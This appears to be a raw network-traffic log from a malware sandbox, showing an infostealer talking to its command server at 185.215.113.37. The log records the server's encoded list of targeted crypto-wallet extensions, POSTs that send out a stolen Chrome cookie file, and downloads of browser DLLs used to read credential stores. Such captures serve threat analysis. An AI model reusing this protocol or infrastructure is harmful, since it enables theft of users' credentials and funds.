Oct 8, 2024 11:18:19.187256098 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 8, 2024 11:18:19.187277079 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 8, 2024 11:18:19.187288046 CEST	248	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 8, 2024 11:18:19.187298059 CEST	1236	IN	Data Raw: 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d 56 68 62 47 31 68 62 6d 52 70 61 6d 4e 74 62 6d 74 69 5a 32 35 38 4d 58 77 77 66 44 42 38 56 47 56 36 51 6d Data Ascii: YW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZ
Oct 8, 2024 11:18:19.187309027 CEST	1236	IN	Data Raw: 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 41 67 56 47 56 79 63 6d 45 67 56 32 46 73 62 47 56 30 66 47 46 70 61 6d 4e 69 5a 57 52 76 61 57 70 74 5a 32 Data Ascii: bmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGh
Oct 8, 2024 11:18:19.187319994 CEST	248	IN	Data Raw: 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 52 6e 59 33 42 69 63 47 5a 70 5a 32 4e 68 5a 57 70 77 5a 6d 68 6d 5a 57 64 6c 61 32 52 6e 61 57 4a 73 61 33 Data Ascii: Y2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWl
Oct 8, 2024 11:18:19.187577009 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 78 6c 64 48 Data Ascii: IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2xoYXB
Oct 8, 2024 11:18:19.187594891 CEST	668	IN	Data Raw: 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 4e 73 5a 33 Data Ascii: bWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHxPcGV
Oct 8, 2024 11:18:19.248943090 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJJEBGDAFHJEBGDGIJD Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4a 45 42 47 44 41 46 48 4a 45 42 47 44 47 49 4a 44 2d 2d 0d 0a Data Ascii: ------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------JJJJEBGDAFHJEBGDGIJDContent-Disposition: form-data; name="message"fplugins------JJJJEBGDAFHJEBGDGIJD--
Oct 8, 2024 11:18:19.482445002 CEST	335	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 11:18:19.513147116 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJKEBAAEBGCAAEBFH Host: 185.215.113.37 Content-Length: 7003 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 11:18:19.513148069 CEST	7003	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 4b 45 42 41 41 45 42 47 43 41 41 45 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 Data Ascii: ------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------GIEHJKEBAAEBGCAAEBFHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 8, 2024 11:18:21.046655893 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:21.046775103 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:21.046981096 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:21.269427061 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:21.500648975 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:21 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 11:18:21.500668049 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 8, 2024 11:18:22.893372059 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBAFHDGDGHDGCBFCFID Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 41 46 48 44 47 44 47 48 44 47 43 42 46 43 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDBAFHDGDGHDGCBFCFIDContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------IDBAFHDGDGHDGCBFCFID--
Oct 8, 2024 11:18:23.853507996 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:23.853975058 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:23.929423094 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEBKJDBAAKJDGCBFHCFC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 42 4b 4a 44 42 41 41 4b 4a 44 47 43 42 46 48 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KEBKJDBAAKJDGCBFHCFCContent-Disposition: form-data; name="file"------KEBKJDBAAKJDGCBFHCFC--
Oct 8, 2024 11:18:24.659627914 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:25.338510990 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKJEBAAECBGDHIECAKJ Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 35 34 31 66 62 30 66 64 39 36 39 61 63 31 38 65 39 37 61 65 61 33 39 35 63 37 37 66 63 33 30 33 34 31 39 32 64 36 63 63 39 61 63 37 37 61 30 62 61 64 39 30 36 30 62 62 35 31 64 61 30 38 32 34 66 65 34 66 64 36 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4a 45 42 41 41 45 43 42 47 44 48 49 45 43 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="token"fb541fb0fd969ac18e97aea395c77fc3034192d6cc9ac77a0bad9060bb51da0824fe4fd6------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKJEBAAECBGDHIECAKJContent-Disposition: form-data; name="file"------KKKJEBAAECBGDHIECAKJ--
Oct 8, 2024 11:18:26.058993101 CEST	202	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:25 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 11:18:26.661436081 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:26.892291069 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:26 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 11:18:27.799412012 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 11:18:28.032697916 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 09:18:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 